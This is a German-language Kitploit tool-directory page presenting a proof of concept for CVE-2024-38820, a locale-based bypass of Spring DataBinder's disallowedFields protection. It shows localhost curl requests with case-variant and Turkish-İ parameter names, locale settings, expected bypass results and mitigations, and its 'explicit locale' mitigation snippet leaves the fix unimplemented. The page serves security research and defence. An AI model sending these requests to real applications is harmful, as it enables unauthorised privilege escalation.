Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
POC-CVE-2024-38820 | Kitploit
Tools/GitHubGitHub/kadamnayan/poc-cve-2024-38820
SchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & Bildung
GitHubkadamnayan/poc-cve-2024-38820

POC-CVE-2024-38820

Repository anzeigen
vor 10 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2024-38820 Proof of Concept

Überblick

Dieses Projekt demonstriert CVE-2024-38820, eine Schwachstelle im DataBinder des Spring Frameworks, die es ermöglicht, den disallowedFields-Schutz aufgrund von localespezifischen Problemen bei der Groß-/Kleinschreibungskonvertierung zu umgehen.

Schwachstellendetails

  • CVE ID: CVE-2024-38820
  • Betroffene Komponente: Spring Framework DataBinder
  • Grundursache: Das Verhalten von String.toLowerCase() variiert je nach Locale
  • Auswirkung: Umgehung des Feldschutzes, mögliche Privilegienausweitung

Das Problem

Der Fix für CVE-2022-22968 machte die disallowedFields-Muster durch die Verwendung von String.toLowerCase() case-insensitiv. Diese Methode weist jedoch localespezifische Ausnahmen auf:

  • In der türkischen Locale: "ADMINID".toLowerCase() wird zu "adminıd" (mit punktlosem ı)
  • In der englischen Locale: "ADMINID".toLowerCase() wird zu "adminid"

Dieser Unterschied kann es Angreifern ermöglichen, den Feldschutz durch bestimmte Groß-/Kleinschreibungsvarianten zu umgehen.

Projektstruktur

root@kitploit:~
src/
├── main/java/com/example/demo/
│   ├── DemoApplication.java          # Spring Boot main class
│   ├── controller/UserController.java # Vulnerable controller with @InitBinder
│   └── model/UserInfo.java           # Model with protected adminId field
└── resources/application.properties   # Locale configuration

test-cve-2024-38820.sh                # Automated test script
pom.xml                               # Maven dependencies (Spring 5.3.39 - vulnerable)

Schnellstart

1. Erstellen und Ausführen

root@kitploit:~
# Build the project
mvn clean compile

# Run the application
mvn spring-boot:run

Die Anwendung startet unter http://localhost:8081

2. Manuelles Testen

Rufen Sie den Test-Endpunkt auf, um die Locale-Informationen zu sehen:

root@kitploit:~
http://localhost:8081/test

Probieren Sie verschiedene Feldnamenvarianten aus:

root@kitploit:~
# Normal case (should be blocked)
curl "http://localhost:8081/user?username=test&adminId=999"

# Uppercase (may bypass)
curl "http://localhost:8081/user?username=test&ADMINID=999"

# Mixed case (may bypass)  
curl "http://localhost:8081/user?username=test&AdminId=999"

# Turkish İ character (may bypass)
curl "http://localhost:8081/user?username=test&ADMİNID=999"

3. Automatisiertes Testen

Führen Sie das umfassende Testskript aus:

root@kitploit:~
./test-cve-2024-38820.sh

Erwartete Ergebnisse

Mit türkischer Locale (tr_TR)

  • ✅ adminId=999 → BLOCKIERT (normale Groß-/Kleinschreibung)
  • 🚨 ADMINID=999 → UMGANGEN (Großbuchstaben)
  • 🚨 AdminId=999 → UMGANGEN (gemischte Groß-/Kleinschreibung)
  • 🚨 ADMİNID=999 → UMGANGEN (türkisches İ)

Mit englischer Locale (en_US)

  • ✅ adminId=999 → BLOCKIERT (normale Groß-/Kleinschreibung)
  • ✅ ADMINID=999 → BLOCKIERT (geschützt)
  • ✅ AdminId=999 → BLOCKIERT (geschützt)

Konfiguration

Ändern der Locale

Bearbeiten Sie src/main/resources/application.properties:

root@kitploit:~
# Turkish locale (vulnerable)
spring.web.locale=tr_TR
server.servlet.locale=tr_TR

# English locale (protected)
# spring.web.locale=en_US
# server.servlet.locale=en_US

Festlegen der JVM-Locale

Sie können auch die Standard-Locale der JVM festlegen:

root@kitploit:~
mvn spring-boot:run -Duser.language=tr -Duser.country=TR

Schwachstellenanalyse

Code-Ablauf

  1. Anforderungsverarbeitung: Spring empfängt die HTTP-Anfrage mit Parametern
  2. DataBinder-Einrichtung: @InitBinder konfiguriert disallowedFields("adminId")
  3. Feldabgleich: Spring verwendet case-insensitiven Abgleich mit toLowerCase()
  4. Locale-Problem: In der türkischen Locale gilt "ADMINID".toLowerCase() ≠ "adminid"
  5. Umgehung: Der Feldschutz versagt, adminId wird gesetzt

Debug-Ausgabe

Die Anwendung protokolliert detaillierte Informationen:

root@kitploit:~
=== CVE-2024-38820 PoC - Locale Information ===
JVM Default Locale: tr_TR
Test field 'ADMINID' toLowerCase(): 'adminıd'
Test field 'ADMINID' toLowerCase(Locale.ENGLISH): 'adminid'
DataBinder configured with disallowed field: 'adminId'

Betroffene Versionen

  • Spring Framework: 5.3.x (vor 5.3.40), 6.0.x (vor 6.0.24), 6.1.x (vor 6.1.13)
  • Spring Boot: 2.x- und 3.x-Versionen, die betroffene Spring-Framework-Versionen verwenden

Gegenmaßnahmen

1. Spring Framework aktualisieren

  • Spring Framework 5.3.40+
  • Spring Framework 6.0.24+
  • Spring Framework 6.1.13+

2. Explizite Locale-Festlegung

Verwenden Sie locale-bewussten Feldabgleich:

root@kitploit:~
@InitBinder
public void initBinder(WebDataBinder dataBinder) {
    // Use English locale explicitly
    dataBinder.setDisallowedFields("adminId");
    // Additional protection: check field names with specific locale
}

3. Benutzerdefinierte Feldvalidierung

Implementieren Sie eine benutzerdefinierte Feldvalidierung, die nicht von localespezifischen Operationen abhängt.

Referenzen

  • CVE-2024-38820 - NVD
  • Spring Framework Security Advisory
  • Related CVE-2022-22968

Rechtlicher Hinweis

Dieses Proof of Concept dient ausschließlich Bildungs- und Sicherheitsforschungszwecken. Nutzen Sie es verantwortungsbewusst und nur auf Systemen, die Ihnen gehören oder für die Sie eine ausdrückliche Testgenehmigung haben.

Tool herunterladen